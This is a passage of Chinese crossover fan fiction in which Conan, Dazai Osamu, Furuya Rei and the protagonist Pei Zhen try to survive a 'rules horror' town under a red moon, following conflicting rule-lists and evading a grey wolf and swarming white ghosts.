身后传来轰然的爆炸声,那栋咖啡厅在他们都逃出后,就迅速被炸倒,烟气与火浪潮水般扑来,裴真不得不带着柯南往前扑倒。这是降谷零与太宰治事先在咖啡厅里布置好的炸弹,也不知道他们是从外面带进来,还是纯粹自己手制的,他们说过了,一旦不敌,这就是最后的手段。 但没有人从中逃出,也没有凄惨的尖叫与哀嚎声,从始至终,这个咖啡厅都一片沉默,像是里面根本没有住进过那么多动物一样。不,还是有“东西”存活着的,一个庞大的黑影从里面缓缓走出,它的步伐缓慢,呼吸烟柱一样粗,带来的气势根本不是那条鳄鱼可比的! 这种熟悉的压迫感,犹如锋利冰冷的斩首刀,已经贴在了你咽喉的皮肤上……是之前他们感受到过的危险!根本不需提醒,裴真与柯南他们拔腿就跑! 黑色怪影辨别了一下方向,向着其中一道遁走而去。 红月微微晃动起来,就像是有人在咧嘴而笑,怪诞谲诈的笑声在每一人的耳边乍响,而伴随着这一道笑声,他们的头脑更加昏沉,眼前的红色更深暗了些。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第91章 大灰狼 在违背了规则之前, 他们从没有想到,这个小镇会变成这个样子,就像是堕入了另一个世界, 建筑还是之前的建筑,但只剩下一点熟悉的轮廓,其它的, 都被另一层东西覆盖。 咖啡厅被轰炸成废墟,却没给那个怪物造成太多的影响, 方才的鳄鱼还能被子弹阻一阻,可现在的这个, 子弹是真的一点用都没有了。 柯南飞奔的同时,还在不断地想着那两张纸上的内容, 如今看来, 比起降谷零的那张, 自己这边的倒更像是真的。他们跑了很长一段距离,直到确认身后没有东西追来,才停下了脚步。 “那个东西去追另外一个人了。”裴真有些“惊魂未定”地说。 柯南弯腰喘着气, 他的面上也残留着惊骇:“那到底是什么东西, 它追的是谁?” “那个姓太宰的人。”裴真思索道。 柯南皱起眉:“为什么是他, 降谷先生才是最后一个……他之前说他在黑夜时出去过?” “他好像还受了伤。”裴真说。 “难道是之前就违背过规则?”柯南也没办法, 在这个世界中,他连自身都难保。“希望他没事。”他暗自祈祷一番。 他们看了看周围, 发现这里是一个无人的街区。裴真昨天的时候逛过这里, 那时这里是一条售卖蔬菜与日用品的街道,上午和下午的时候, 来这里的动物都很多。而现在,他们看着一排排的货架, 上面密密麻麻地摆放着无数的生肉。 “咚咚,咚咚。”不知哪里传来有节奏的声音,像是菜刀一下又一下剁在菜板上。 裴真拉住了柯南,对着他摇了摇头,没有要去探究的意思,两人一起又静悄悄地从这里退了出去。 出去后,裴真才说:“看来这个变化后的世界,里面并不是没有其它生物的。” “那更可怕了不是吗?”柯南眼神快速闪烁:“简直就像是恐怖片一样,谁知道里面的东西出来后要剁的是什么?” “‘生肉’是很关键的一样东西,”裴真想了想:“或许规则上说让我们别吃生肉,就是为了让我们不至于堕入到这里来。” “可我们也没吃啊?” “但有人吃了,那鳄鱼吃的尸体,应当算是生肉。再加上我们在红月的夜里跑出来,”裴真托腮思索:“这一下子就有两帮违反了规则的人。吃‘生肉’严重程度更高,所以,那新的怪物一出来,一刀就斩了鳄鱼的脑袋。” 柯南叹气:“老鳄鱼并不能算是鹿女士死亡的直接凶手,真的凶手另有其人。” “是那只蜗牛吧,”裴真说:“因为情感纠纷激情杀人,事后做了些掩盖。” 柯南讶异:“你是怎么看出来的?” 裴真道:“没有证据,只是通过一些细节猜测推断出来的。鳄鱼我不知道插没插手,但他今晚下来,完全就是被肉类所惑,按捺不住自己的贪欲。” “你这样是做不好侦探的。”柯南苦笑了一下:“查案是需要体力去查细节的。我倒是找到点东西,可现在……除非重新回到镇上,否则那些东西就都没有用了。”他摇了摇头。 裴真环视了一下四周:“那你对现在的情况有什么看法吗?” 柯南陷入了困境,良久,他才慢吞吞地问:“你听说过表里世界这种在科幻中才有过的设定么?” “你是说,这里仍然还是小镇,只是我们现在是在另一层空间中,又或者,小镇是正面,我们是在反面……”裴真很快就理解了他的意思。这实际上并没有科学理论支持,但算了,异能力本身也不科学。“我们要去寻找‘蔬菜’吗?”他问:“看看能不能回去小镇中。” 柯南犹豫了下,“或许我们应当去找找看,试着从这个诡异的世界里找到线索,它也应当是那个超越者塑造出的,就如同解谜游戏,只寻找一部分,是很难抵达终点的。” 裴真深深凝望他一眼:“你比我想象中的还要大胆。你应该知道,与那两人相比,我们才是弱者,身体和经验上的差距,让我们一旦遇到危险,很难如他们一般从‘刀’下溜走。他们能够逃跑,那位太宰先生先前就是那样做的,而我们却不能。” 柯南深吸口气:“那就只能说下我的另一个猜想了。” “我认为,”他目光灼灼道:“在如今这个变异的世界里,如纸条上的那些‘规则’,也依旧还是存在的!” ………… 降谷零是最晚一个逃走的,他的枪里只剩下最后两发子弹了。那个怪物没有追在他身后,而是选择了另一人。他并不担心太宰治,因为依据他的眼光看来,这个自称横滨侦探的人,不仅狡猾似狐,还拥有着一段复杂黑暗的过往,他独自一人,都能在这种世界中生存下去。 他担心的是另外两人,与太宰治相比,虽然他们同样智慧超群,但就像是两个还没步入社会的孩子,在这等险峻的环境中,一时大意,是很有可能彻底断送性命的。 他掏出从狐狸那里拿到的那张纸,看着上面的文字,面露狰狞道:“别让我回去!” 时间愈发深沉了,红色月亮带来的诡异絮语犹如在耳边不断回响。裴真与柯南在这座诡变后的小镇中躲躲藏藏了两个小时,直到后面,因为一次遇险,两人被迫分开,他才算是重新回到了一人的状态。 这里的危险比他们想象中的多的多,而且待得久了,身上会有一种燥痒感,就像是身体中有什么在随着时间流逝一同变化。也不知道是踩中了什么雷,在路过一个街道口时,一栋房屋里突然冲出来一道灰色的影子,柯南与裴真不得不在还没有得到任何收获的时候,就再次逃跑起来。 裴真想办法将它引开了。 等到他独自一人的时候,他也终于脱下了伪装的外装,恢复了淡然。他躲入到一栋房屋中,开始思考这段时间经历的一切。 艾略特·奥提兹姆·米瑟耶·格罗佩斯,这是他这一次马甲的名字。先不说这个过长的名字,他这次之所以被卷入,那场意外确实也算个因素。但更重要的是,作为主体的他并不抗拒。 当他有足够的能力在这个世上更好的活着时,之前的那种过度的小心,也终于可以松一松了。“从心所欲而不逾矩”,这句《论语》中的话,一直都是他理想中的生活状态。他不拒绝在主角们的剧本中出场,当然,更多的他还是不会做。因为他的本心里,就是一个不想惹太多麻烦的性子。 这次的规则小镇,是艾略特在将【扭曲】与【规则】融合在一起后,形成的一个对抗又互抵的世界,如果一直待在镇子里,他们其实是安全的,但也会被镇子渐渐接纳,直到成为其中一员,再也出不去了;而若是进入到另一层的界面中,他们就会像现在这样,无时无刻不在遭遇着危险,直到同样再也走不出去了。 裴真笑了起来,他觉得自己将【异空间】用在这里实在是一个绝妙之笔,现在的平衡是艾略特在努力了十年后成功的,最起码在他的记忆中是,若是这样的异变是出现在现实中……他摇摇头,不去塑想外面人的悲惨。 这是一栋还算整洁的房屋,桌椅都有,红色的衍生物只在月光照射到的一面繁衍,桌子上摆着一盏灯,灯里的油早已烧干,灯罩上一片灰黑。裴真走到桌边,他看到上面摆着一张纸。 “……”裴真将之拾起。“扣扣扣。”寂静的门外,忽然传来敲门的声音。 裴真还没来得及看纸上的文字,就蓦然转头,看向门扉之外。 他没有去体验马甲的感官,因为那样总觉得有作弊之嫌。更何况,这里也挺有趣。无形中,他好像听见了谁轻笑的声音,这声音驱散了一直不停的琐碎声,让他头脑为之一清。 门外的敲门声还在继续,并且,等候不及的人还开口说话了:“开门。” 嗓声低沉嘶哑,音节里带着涩意。但不像是没有理智的样子。 裴真暂且没有理他,他拿出手中的纸,将其上的规则一一看清。 “1. 小镇欢迎客人,无论是白天还是夜晚,客人都是最尊贵的。不是客人的&*…%* 2. 红兔警官是值得信任的,她可以把你从这里带回去。 3. 如果你看见了蔬菜,不要尝试吃掉它,用火烧掉。 4. 要多多多多…多吃生肉。生肉是最美味的食物。 5. 镇子里没有动物,如果你看见了动物,那是你的幻觉。你可以投喂给它生肉,这样它就可以从虚幻中走下来陪你。 6. 居民们是友善的,请满足它们的一切要求。 7. 杀死大灰狼,不杀死它,我们所有人都会死! 8. 夜晚是安宁的,你们可以尽情出去闲逛。红月是狂欢之夜,在这一天,你们能交到很多好朋友。 9. 要尊敬镇子的主人,祂是万物之主,否定祂,就是否定一切。 门外的人愈发急了,它凶猛地叩响着门扉,每一下,都让这木门不断颤抖。裴真观察了一下情况,悄悄从窗口的位置往外看去,他看到在月光下,门口人微微垂落一条带着毛发的尾巴。 眼见再不开就很有可能面临着木门损坏,外来人直接闯入的后果,裴真在稍作思索后,还是将门打开了—— 在红月之下,一只宛如人一般立起的野狼正冷冷地看着他。 裴真一怔,差点以为自己打出了死路。但很快,他就察觉到,它并没有要立即动手的意思。它浑身毛发青灰,在月色下闪着凛冽的幽光,衣装上满是侵蚀与磨损,像是经历了无数场的战斗,它诡绿色的眼睛望来,让人心中不由生出战栗之意。它沙哑着声音问:“为什么不开门,你刚才在做什么?” 裴真陷入了思索,是要…杀掉这只狼吗?他瞥见了它矫健的四肢和肌肉隆起的身躯,默默将之划走。“狼先生来找我是有什么事吗?”他问,姿态中带着点随意。 灰色的狼就站在门口,他向内扫视了一眼,看见了那张没被裴真收起来的纸。好似瞧见了上面的规则,也不知他是如何做到的,一眨眼间,这张纸就被一柄短剑钉在了一面墙上,它嘴边勾起一抹讥讽的笑:“虚假之物。” 裴真若有所思地望着它,心中有了一个猜测。 第92章 互相的交流 裴真刚刚找到的规则纸条就这样被毁掉, 他眨了眨眼睛,思考着这只灰狼对于它的评价。 灰狼将视线从墙上移开,“你们是外来者?”它昂首注视着裴真, 神情冷峻中透着威严,像是在根据他的回答,来决定如何对待他们这一群人。 裴真笑了起来:“我们是客人, 客人不都是从外面来的吗?还是说,你认为本地的‘人’能成为‘客人’?”他咬死了这种身份, 不给一丝被怀疑的机会。 灰狼没有为他的话所动,但也没有将之否决, 它微微垂眸,又问:“你们进来这里的目的是什么?” 这句话完全就是个陷阱!裴真目光微闪, 他宛若不在意道:“客人能有什么目的, 不都是因为主人的邀请, 才会来到他家里做客吗?更何况,你又是以什么样的身份来问出这句话的呢?这应该是客人与主人家之间的事。”他假装透露出一丝不悦。 灰狼死死地凝视着他,裴真以微笑相对, 对周身愈来愈沉重的氛围好似未觉, 他始终站在门口, 堵住了灰狼要进去的路。时间犹如被拉长, 几分钟时间像是过去了几天,最终, 灰狼收回了视线, 他面无表情道:“我是游荡在此处的狩猎人。” “这片区域可不是你们这样的人能来的,如果继续待下去, 你们只会被它同化为一体。”它转过头去,像是在看外面被月色铺了一地的景象, 但裴真却感到它正在无比专注地盯着他,将他的每一分动作,甚至是稍微的神情的变化,都收入到它的眼中,似是想要从中看出什么。 这种诡异的感觉让裴真将自己想要说的话在心中斟酌了好多遍,才慢慢开口道:“这边确实是让我感觉很不舒服。我毕竟武力不足,这里对我来说还是太危险了。既然灰狼先生是能在这种地方游荡纵横的狩猎人,那么,能不能请您告诉我,我应该如何才能,回去镇子中呢?” 灰狼蓦然转回头来,与那道暗中的视线瞬间重合在一起,它有些怀疑地问他:“你想要回到镇子上?” “是的,”为表诚意,裴真还轻轻躬了一身,将手按在心脏边的方位道:“人都是要求活的。生命对于我而言还是很重要的。如果不是实在是不知道回去的路,我也不会在这里来问您。和我的同伴们不一样,他们各有各的身份,我只是一个小小的普通的、不出名的侦探,承蒙此处主人的关注,邀请我来参与这一次的‘游玩’。但果然,这种事还是超出了我的能力,”他有些遗憾又有些歉疚地说:“我想要回归‘安全’中,您能够指引我吗?” 灰狼依旧在辨识着他,它似乎完全不相信他的话,或者说,它从不会轻易相信任何人,它语声低沉道:“如果你真的想出去,就跟在我身后吧。” 说完之后,它就转过身去,看也不看裴真的选择。它的双足踏在地上,没有发出一丝声音,像是最高级的刺客。 裴真果真如他所说,没有任何犹豫地跟在了它的身后。灰狼放下爪子,之前来到这里的目的不变,但方式换了一种。 裴真注视着灰狼的背影,之所以做出这个选择,也是因为之前规则中的一句话:“大灰狼是好的”,“不论它对你们做什么,都不要反抗”。再加上它的一些表现,如果他没有猜错的话,它应该是…… 他们只是往前走了几步的距离,灰狼的身形就停了下来。与此同时,一个提着一盏煤油灯的穿着长风衣的人影从拐角处走出,他的另一只手上,白色的绷带正垂落而下,一摇一晃的,引人注意。 “如果可以,这趟回去的旅途中,能不能多加上我一个呢?”是太宰治。像是之前根本没经历过那场格外狼狈的逃跑一般,脸色又恢复了常态,他垂下眼眸,恭敬又不失礼节地问。 于是,不多时,裴真与太宰治便成为了新的一队队友,两人一起跟在一只狼的身后。“你发现了什么?”见到灰狼不回头,距离又差了些,太宰治便凑到裴真的身边,以手掩唇,小声说。 裴真有些无语地瞧了他一下:“这种事,难道不应该是之前第一个抛下我们,逃出去的太宰先生先说么?” 太宰治打了个哈哈,他理直气壮道:“那后来,那黑影去追的人不还是我吗?我是为了引走你们的敌人,将逃走的生路留给你们才这样做的啊。” “太宰先生脸皮真厚。”裴真直言直语地佩服道。 太宰治完全不在意,他摆了摆手,“不过既然你这样说了……” 一个熟悉触感的东西被塞进裴真的手里,裴真下意识地看了眼灰狼的背影,见他完全没有要回头的意思,他找了个合适的角度,快速将那张纸上的内容看完。 1. 黑夜链接的是另一重世界,踏入其中,要小心【■■】。 2. 生肉是接触到此处的媒介,吞下它,就代表着你愿意接受感染。 3. 蔬菜是另一位的力量的显露,它们散落在各处,你们很难找到它。 4. (被划掉,隐约可见“不要”两字)拥抱【■■】吧,它能使你(被涂抹删除)…超凡新生,获得前所未有的力量。 5. 要警惕灰狼,灰狼是¥%#%(被涂抹)的爪牙,遇见它,要么逃走,要么尽力杀死它。 6. 逃走可以去警察局,它们是公正的。 7. 动物都有另外一面,它们平时可以使用那份力量,但过多使用,只会让它们偏向另外一边,彻底变化后,这种变异暂且无法逆转。 8. 红月是特殊的,在有红月的夜晚,有门扉敞开,你或许能踏上一条奇特的小路。 9. 要尊敬镇子的主人,不要去打扰祂,但可以将客人带去给祂,前提是,你带去的是真的客人。 裴真十分惊讶:“你这东西,是从哪里找来的?” 太宰治不在意道:“被追得多了,逃去的地方多了,在一个地方就摸到了。怎么说呢,”他摸了摸自己的下巴:“这张纸不像是谁写下的,倒像是某种东西无形中生成的。它也比我们之前得到的要详细很多,怎样,你看出什么了吗?” 他抬头,饶有兴致地看着这个在进来的队伍中最默默无言的一个,他不如柯南那样抢眼,每一下都能够分析到事情的重点上去;也不如降谷零那样具有统筹力,能够将所有的力量都汇聚到一起;他也不如自己这般总是跳脱,还能将所有的线索都把握在手中。 但就刚才与狼人的那般交流,他可不像是一个没有主见随波逐流的人物啊。他打量着这小子的外貌,他脸庞俊秀柔和,皮肤白皙自然,眉如清墨淡染,黑色的发垂下几丝,落在光洁的额前。 太宰治忽然皱起了眉,他察觉到了自己之前没有在这人身上认出的异样,那就是,他太干净了!他实在是很年轻,最多就是读高中的年纪,但听那个叫柯南的小子说,他已经没有去学校了,而是在经营一家半温不火的侦探社。挺拔的身躯如折柳,衣服简约淡然,表情也很少,似乎有些呆呆的模样,看人的时候,一双黑色的眸子也如清风淡泊,让人生不出被冒犯之意。 为什么之前的时候没有注意到他?他可是那位超越者选出的四个人之一啊,能与我等三人相对比的,又怎么会是普通人。 他脑中心思百转千回,就见到裴真转回了头来,面上浮出了苦笑:“我之前倒是也找到了一张纸,只是,那张纸被狼先生毁损了,它说那是一项虚假之物。我将它看完了,也觉得里面的东西恐怕不能全信。” 他们的脚步慢下来,与灰狼的距离隔得更开了。 “哦?”太宰治一边在想着些什么,一边道:“你说来听听。” 裴真就将那九条说了,太宰治听完,他皱起眉:“真按这九条说的做,恐怕下一刻就会化为这个地方的怪物。不过,既然是这样,我倒是有一个猜测。” 裴真静静聆听着。 “如果将那些怪异的符号,都看作一个不能说出口的‘名字’,小镇与这里又是不同的两块领地,规则有些是真的,有些又是假的,还能被涂抹修改,”他沉思地说:“我们是不是能这样猜想,这两块领地其实分属于两个完全不同力量的存在。它们在这里交织、拼搏又厮杀,它们互相限制,又互相成就,以此成为了现在的这个世界。它们都是属于那位超越者的力量,只是他的力量不是单一的而已。” 太宰治一口气说完,裴真惊讶地看着他,柔和的眼中流露出敬佩,他说:“太宰先生果然厉害,我只是稍微有了点头绪,你就已经把这些分析出来了,不愧是领先好几步的人。” 太宰治一时竟不能分析出他说的是真是假,他沉默不语地看了他一会,良久,他呼出口气来。他嘴角含着笑意,上下打量了他一会后,道:“我倒是觉得你也挺不错的。” 他看向前面的狼人,意有所指道:“在它面前说要回去小镇,还真是一步好棋啊。” 裴真说:“最初的那张纸条上提示过了,灰狼先生对于在镇上的人是‘无害’的,我不想在那里与他起冲突,只能这样说了。再加上,我说的话也不全都是假的,”他无奈道:“对于我来说,这里确实是很危险,不知道太宰先生有没有察觉到……” “什么?”太宰治问。 “在来到这个有别于小镇的地方后,我们身上一直都有一种奇特的燥痒感,”裴真慢慢思索道:“这是在小镇上没有的,我觉得,这个地方对我们的侵蚀恐怕是无时无刻的。如果我们不能尽快解决这一次事件的话,我们就需要找到去往小镇的路,我们需要调整和休息,若是‘蔬菜’有用,或许能消去些这种无时无刻的积累。” 太宰治有一瞬睁大了眼,但很快,他就收敛了这点地失态。他略微思索了一下,走上前去,拍了拍他的肩膀,道:“很好,我就没注意到这一点。” “就是不知道柯南与降谷先生在哪里,”裴真担忧说:“希望他们不要遇到什么危险为好。” 灰狼已经越走越远了,它完全没有要停下来等他们的意思。太宰治同裴真说这些,未免没有要试探它的意图,可现在看来,它要么是没听见,要么,就是不想理会这些。 第93章 红月最盛时 太宰治与裴真赶紧跟了上去, 他们都对这只突然出现的灰狼有所猜测,自然不会让它消失在自己眼中。 降谷零与柯南不知他们在何处,他们也都在依靠着力量去找寻生路。柯南也认识到了, 这里虽然是充斥着诡谲与危险的地界,但是暗处还是有着不少规则的,只是有些时候, 在你还没找到规则时,危险就已经降临了。 并且, 他抬起头,看了看天上那个暗红色的月亮, 他心中暗自有着猜测,这个特殊的时间点, 约摸对那些古怪的玩意儿, 还有着不少的增幅, 而随着时间的愈发流逝,这种加强……他打了个寒颤,行动的速度不由更快了几分。 他们有三个方向, 最好是能够找到一直藏在暗处的超越者, 又或者是找到其他的人, 寻到不知道存不存在的出去的路, 最后,若是前两者都达不到, 那就回去镇上, 养精蓄锐,重新找寻。 降谷零跌跌撞撞地往前走。他在一处广场中受伤了, 那里的怪物有着伪装与迷惑人心的能力,它们将自己的身形塑造成另三人的模样, 在降谷零将之识破后,又随之变幻成了他心底里最想见又见不到的人……降谷零心下震动,可更快生出的,是无与伦比的怒火,他越愤怒就越冷静,最后好不容易在找出的规则帮助下惊险离开,但还是受了重伤。 他捂住不断在流血的腹部,跌跌撞撞地往前走,必须立刻找到一个治疗的地方,如果找不到……他的意识逐渐模糊,他的生命,大概就要断送在这里了吧? 视野的最后,他瞧见的是一块在红月的夜中,亮着微弱白光的小招牌…… 裴真他们三个正在夜晚的野地里休息,他们点燃了一堆篝火,围在一起取暖。太宰治与裴真的视线交汇在一处,而后又飞速分开。他们不明白,为何要在此处停留。 太宰治开口:“我们不去小镇了吗?” 灰狼用手拨弄着火堆里的灰烬,没有回答。 太宰治有些尴尬,他用眼神示意裴真。 裴真略带犹豫问:“是还没到时候吗?” 灰狼终于偏过头,看了他一眼:“你很敏锐。” “小镇其实并不难进,如果堕入到这里的人,没有受到感染变异,那么他只要在这里待上几天,食物只食用蔬菜,在之后的某个白天里,他就有机会重新回到小镇。”狼人的声音冷冷的,但颇有一种安心感,他低下头:“当然,如果你有像我这样的指引者,这些步骤都可以省去,只要到了时间,就可以回到那里。” “时间,什么时间?”太宰治一点也没有自己受到冷遇的自觉,他兴致勃勃地问:“难道说它还是隐藏起来的,只有在特定的时刻,才会显露出行迹,就像是迷雾中出现一条路,又或是突然出现一扇门之类的,错过了时间,就再也找不到它们了?” 灰狼目光冰冷,不知怎地,周围的氛围一瞬间就沉凝下来,他看着太宰治,就像在看一个死人。 太宰治一副毫无所觉的样子,他仍在说:“其实我觉得这里塑造得还不够,主要是我们碰到了异样还可以离开,又没有必须要完成的任务,外界又不是一触即死的雷区,甚至是没有限定时间来逼迫……” “咳咳。”裴真忽然出声打断他,再一看,灰狼已经换了一个动作,它已经不是在看死人了,而是真的要动手了!裴真连忙说:“等到了白天,红月就会退去吗?是不是到了那时候,我们就会安全些了?” 灰狼顿了顿,他到底还是没有动手,他依旧在看着太宰治,太宰治笑眯眯地看着它,忽而,灰狼面上露出一个莫测的笑:“小镇确实是只在特定的时刻才能过去,可是,在那之前,你们要先等到那个时候才行。” 然后它就不再说话了,不论太宰治如何地用言语挑衅它,裴真几次地试探,都未能从它那里得到任何讯息。不知为何,随着时间的流逝,裴真与太宰治的心里,都愈发感觉不好起来。 而且,这样的转变还不止出现在他们的心里。明明他们计算过了,那条鳄鱼是在深夜的时分出来吃食的,他们在经历了爆炸、逃跑、寻找一系列的事后,现在也应该要过了凌晨两三点,再往后,就是夜与日的交替时分了。 可是现在,红月的夜光更加深沉了,他们耳边那时刻不休的絮语竟还清晰起来,太宰治头一栽,恍惚间,他好似又回到了久远的过去——空旷古老的木制大宅子,腐烂沉闷的满是虫子的空气,女仆们聚在一起,窃窃私语地讨论着主人家们的隐私,听见声音,她们转过头来,露出的俱是一张张不断旋转着黑涡的脸。 “少爷少爷,我们都在等你。” “少爷,为什么还不来找我们?” “这孩子为什么这么糟糕,和谁都交流不好,不如他的哥哥!” “整天都只待在房子里,这样以后怎么在社会上生活?” “你就不能让我们省省心吗?” 只长了一对漠视眼睛的脸,只有一张不停在聒噪的嘴的脸,它们将他围了起来,用居高临下的姿态来面对他。太宰治好似又回到了过去自己的身上,只能任由它们来不断地评判他。下意识地,他露出了一个虚假到无可挑剔的笑。 有人猛地推了他一把,他蓦然惊醒过来,冷汗津津的面上,笑容像一张死猪皮般紧紧贴着,无法取下来,良久,他才捂住脸,将表情换下,一双鸢色的眸子里,黑泥夹着粘稠的恶意,层层涌出。 他往旁边一瞥。之前推他的那人却是已经回到了自己的位置上,他正在给火堆里添树枝。再一看,这里只有他们两个人,另外一个身影已然消失不见。 他一愣,也不顾自己的失态,问:“那个狼人呢?” 裴真抬起头,他有些忧愁地看了眼上面的月亮,然后叹道:“它说它有事要去处理,让我们先躲好,之后它会再来找我们的。” 他又看向太宰治:“我感觉这里的环境更糟了,你刚才像是被魇住了,所以我才推了你一把。你觉得我们之后应该如何做?” 他没有说的是,在狼人离开前,它曾对他说过,“如果想要保证安全,你最好离这个人远一点。” 太宰治有些无语,这个家伙就真是对自己刚才的异态不感兴趣啊,也没有像一些人一样流露出一些令他难以忍受的情感。他的心下稍松,随之一起思考起来。 可更快的变化到来了,一阵巨大的波动从他们的稍远处传来,裴真与太宰治一起向那边望去,在那里,他们看到一个庞大的黑影高高跳起,它的身躯过于巨大,像是来自深渊的恶兽,周身涌动着黑色的烟气,如展露獠牙的恶魔,与某个无法用言语描述的存在相撞在一起,红月昏沉,它反倒像是被其笼罩了起来。 “快走!”太宰治抓起裴真的胳膊,带着他,飞快地往另一边跑去。 “这是之前那个从小镇中追过来的怪物。”裴真思索道:“它在和什么东西交战。” “红月应该是特殊的,它是这里某种力量的展现,”太宰治一边跑,一边说:“那个给警官规则的狐狸应该是满含恶意的,它是故意让我们接触危险的。就像是现在这里有位狼人游荡者一样,小镇中也隐藏着敌对的危险。但如果真的有某件事只能在红月夜中做到的话,它给出的规则就不能说是虚假的,因为那个警官本身也是有自己需求的。” 裴真很快回忆起来:“降谷警官说的是,他要从这里离开,还有,要和这里的主人相见!”他的眼睛亮了起来。 “不错,”太宰治的风衣飘飞在空中,他平静地说:“如果要去见到这里的主人,我们就不应该躲过红月。” 他的眼中闪过理性的光。周围的房屋中,有一道黑影站在窗台后,看着他们逃跑;恍如彻底被惊动,越来越多的红色物质从不知何处涌来,絮语尖利地嘶叫起来,两人的脑袋一阵昏沉,恍惚间,他们见到有无数道水草般的人影站在了街道上,他们身影是透明的乳白色,身形轻飘飘的,四肢身躯弯弯扭扭,五官的部位空洞洞的。 “这就是狼人说过的,‘你们要先等到那个时候才行’吗?”太宰治一瞬理解了刚才篝火旁的那段对话。 “是街道上的‘规则’,”裴真迅速道:“危险的地方不只是某片区域才有,这个大地图上,其实是一个更大的事件发生地,只不过是之前没有被激起而已。你说得对,这里的主人确实没有对我们用全力,但他现在用了。我们必须要用最快的速度找出这里的规则……” 一道白烟一样的影子闪烁般向他靠近。裴真立刻闭紧了嘴巴。所有的白影都看向了他们。 白影都向他们飘来,他们的目标不仅是裴真,还有太宰治——不是说话的原因。 “快跑!”太宰治又高喊。他们立刻转身,向着另一面跑去。白影呜呜呼啸起来,它们无法说话,却有空洞不尽的声音从它们的身躯中发出,像是人最后发出的一抹哀嚎,充斥着无边的绝望。 红月更盛,无尽的怪异解脱了束缚,它们舒展着自己的身躯,恣意地在这片区域中发出自己的啸声。 第94章 一切的缘由 犹如从地底复苏, 无数的白影遍布了这个世界。它们逡巡在街上,好似没有目标般呆站着,就像是骤然生出的幽灵。 柯南躲藏在一处民居的窗户后, 流着冷汗注视着窗外的一切,在他的身后,一个穿着粉红裙子的玩偶正笑嘻嘻地看着他的背影, 他的手里抓着一张规则的纸条,尽量让自己不触犯它的禁忌。 太宰治与裴真正在拼命逃跑。他们想要找到这些白影的规则, 但数量实在太大,他们一时也没有线索。幸好它们现在动作还有一些慢, 让他们有逃走的时机,但不幸的是, 在启动后, 它们就有了“闪烁”的能力, 能够一瞬间从一处闪现到另一处。 看着逐渐包围过来的虚白之影,太宰治咧了咧嘴,他小声说:“往这边来。” 他们借助房屋与杂物, 往一个方向飞奔, 因为他们发现, 这些白影的闪现, 其实是在他们视线中进行的,也就是说, 只要不让双方对视, 就能最大程度地压制它们的瞬移,如此一来, 他们终是有了点喘息之机。 裴真是跟着太宰治跑的,他似是知道要往何处去, 他们躲躲闪闪,在惊动了大批的白影后,终于看见了一个特殊结构的房子。“这是……”裴真一愣。 太宰治率先冲进去:“是警察局!”他说。 裴真也险之又险地冲了进去,一道白影落在他身后一厘处,虚幻的手抓了个空,它仰起头,发出尖利的啸声。 这是一处无人的房子,办公桌上随意摆放着些文件,几把椅子散布在靠墙的位置,电话与听筒是早先很多年前的款式,墙面上贴着些纪律海报,整体呈现着一种简洁潦草之意。 太宰治皱着眉,看着桌上一杯盛着半杯水的杯子,和一份写了一半的文件。裴真也看到了这些,他说:“这里之前有人……不,有怪物?”怎么像是刚刚紧急离开的样子。 太宰治用手指摸了下桌子,没有灰:“我前一次来这里的时候,确实看见有影子在里面晃动。” 裴真警戒地观察着四周。太宰治却像是想起了什么:“你还记得那道规则里对于警察局的形容吗?” “它们是公正的。”裴真也想了起来。 “公正,”太宰治冷笑道:“这个词又意味着不偏不倚,而现在这种情况,这意味着什么,你知道吗?”意味着它们会在双方间,两不相帮。 “不,”裴真却在此时说:“它们还是留下了点东西的。” 太宰治刹那偏头望去,只见裴真从那份文件的夹层里抽出一张纸,上面写满了文字。 “1. 它们的数量无穷无尽,每消灭一个,就会有更多的生成, 2. 它们无处不在,但不喜欢封闭的空间。你们可以躲进房子里,但这不是长久之计。 3. 不要与它们对视,也不要让它们看见你们。因为视线会建立通道,它们可以在其中穿梭。 4. 黑夜是它们的主场,白天它们会散去,只有零星几个会躲在阴影里。而红月,会让它们沸腾。 5. 它们只会发出一种声音,是尖利的啸声。其它的声音不要去听,是幻觉。 6. 不要让它们围聚在一起,会产生不好的变化。 7. 可以用尖锐的东西刺伤它们,但不要让它们碰到你们的身体。” “这是,外面那些东西的规则。”太宰治有些意外。 “这字迹……”裴真却是看出了什么,想起了自己得到的第一份规则。 太宰治在另一边又发现了一张地图,上面标注了好几个的地点,是囊括了这整个区域的地图,是他们恰好需要的东西。 “我们需要尽快做出决定了。”裴真走了过来,他示意太宰治看窗外。太宰治小心地瞟过一眼,密密麻麻的白影在外面拥挤着往里面看来,他的头蓦然痛起来。 ===== 柯南在房子里躲了很久,红裙子的玩偶规则有一条是不能陷入沉眠,这对他来说没什么,因为在发生这样的变化后,就算他想要睡觉也不能睡。 他知道自己必须离开,因为这栋房子接下来只能让人再在里面待上六十分钟,超过了时间,就会被玩偶变成新的玩偶,永远留下来,成为它的同伴。这对他来说,简直比死还要让他难受。他是一定要离开这个地方的,因为,被卷进来的人不仅是他,还有一直在等他,他也在守护的人。 黑衣组织已经被打败了,那漫长的黑夜已经熬过去了,又怎么能在抬头就能看见太阳之前,倒在这无名诡地呢?就算是超越者,他也绝不会认输! 坚定了信念,他顶着红裙玩偶暴怒的眼神,疯狂地冲着一个白影最少的方向往外逃窜。他想要去往另一个高一些的房子,因为他辨认出来了,那里是一处电视台的建筑,在那里,他或许能找到一些有用的东西。 他尽力躲闪自己的身形,但还是在一段没有遮挡物的长段路途中出了意外,在一个原本没有白影的地方,一个新的白影慢慢地生出,只与柯南差了数米远,它看到了柯南,柯南也见到了它,霎时,它便挪移到柯南面前,冰寒潮湿的躯体已经覆盖到了他脸上。 柯南的头脑中空白成一片,他没想到这个诡怪还有这样的玩法,他已经尽力做到最好了,就是不曾预料到它们还另有转移的方式。死亡近在咫尺,柯南一时丧失了所有感知,直到—— “咻!”一道轻微的急速破空声在他耳边响起,在他的面前,那道就要突到他脸上的白影忽而仰天尖啸起来,那种痛苦哀怨的嚎叫也被这尖啸压住,它就像是个被刺破的饱胀的气球,倏然爆破而开,柯南甚至能闻到属于它身体的阴冷潮湿的气味。 “快走!”有谁在他耳边低低声说。柯南飞快地奔跑起来,因为声音已经吸引来了其它白影的关注,他恨不能自己再多生出两条腿,这样就能将这距离花费的时间缩得更短些。 他连滚带跑地闯入进电视台中,整个人趴在地上急促地喘息着,心脏在胸腔里砰砰直跳。但很快,他就重新站起身来,躲藏在窗台后,小心翼翼地往外张望。 没有其他人,除了吸引来几道白影。 